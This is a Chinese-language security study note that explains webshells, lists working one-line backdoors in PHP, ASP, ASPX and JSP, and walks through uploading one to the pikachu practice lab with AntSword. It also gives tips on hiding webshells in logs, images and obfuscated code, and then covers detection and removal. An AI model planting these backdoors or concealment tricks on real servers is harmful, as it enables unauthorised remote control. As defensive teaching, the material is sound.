简介
Webshell是通过服务器开放的端口获取服务器的某些权限。
webshell又称脚本木马,一般分为大马、小马、一句话木马。
大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。
小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。
一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。
原理
利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的”后门”,之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。
常见一句话木马
php
<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
jsp
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
攻击
靶机:pikachu
工具:中国蚁剑
首先,利用文件上传漏洞,上传webshell文件
文件为eval.php,内容为
<?php eval($_POST['eval']); ?>
之后利用中国蚁剑连接网站,空白处右键->添加数据
添加数据
添加数据成功上传文件及其他功能终端控制
再打开上传webshell的那个目录,可以看到多出来了%SystemDrive%目录,
目录变化
至此,可以进行文件管理,虚拟终端等。
WebShell管理工具
- Cknife 中国菜刀
- antSword 中国蚁剑
- 冰蝎 动态二进制加密网站管理客户端
- weevely3 Weaponized web shell
- Altman the cross platform webshell tool in .NET
- Webshell Sniper Manage your website via terminal
- quasibot complex webshell manager, quasi-http botnet
webshell隐藏
隐藏到日志
例如,修改发送数据包的头部,添加webshell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。
隐藏到合法文件
例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。
混淆
删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。
检测与防御
静态检测
web日志
在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。
例如,网站目录下某php文件访问量过少,且来源ip固定。
动态检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。
例如,webshell如果执行系统命令的话,会有进程。
以上面的攻击进行防御举例
webshell扫描
点击执行操作
后门被删除
webshell文件被删除,但是%SystemDrive%目录还存在。
总结:攻击层面还应考虑如何绕过系统上传webshell,如何隐藏webshell免查杀,防御方面应该考虑如何避免webshell被上传,如何查杀webshell。
参考
webshell
- webshell
- PHP backdoors
- php bash - semi-interactive web shell
- Python RSA Encrypted Shell
- b374k - PHP WebShell Custom Tool
- JSP Webshells
- MemShellDemo
webshell查杀
参考
10款常见的Webshell检测工具 - Bypass - 博客园
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。